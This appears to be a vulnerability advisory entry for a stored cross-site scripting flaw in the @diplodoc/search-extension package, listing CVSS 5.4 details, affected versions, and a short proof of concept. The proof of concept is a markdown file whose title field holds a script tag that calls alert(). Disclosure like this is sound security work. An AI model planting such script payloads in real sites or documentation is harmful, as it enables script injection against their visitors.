@diplodoc/search-extension 1.0.0 through 3.x before 3.0.3 allows stored XSS via the title in a .md file.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
@diplodoc/search-extension >= 1.0.0, < 3.0.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-40201
# Create a malicious markdown file named 'exploit.md'
---
title: <script>alert('CVE-2026-40201 Stored XSS');</script>
---
# Normal Content
This file contains a malicious payload in the title field.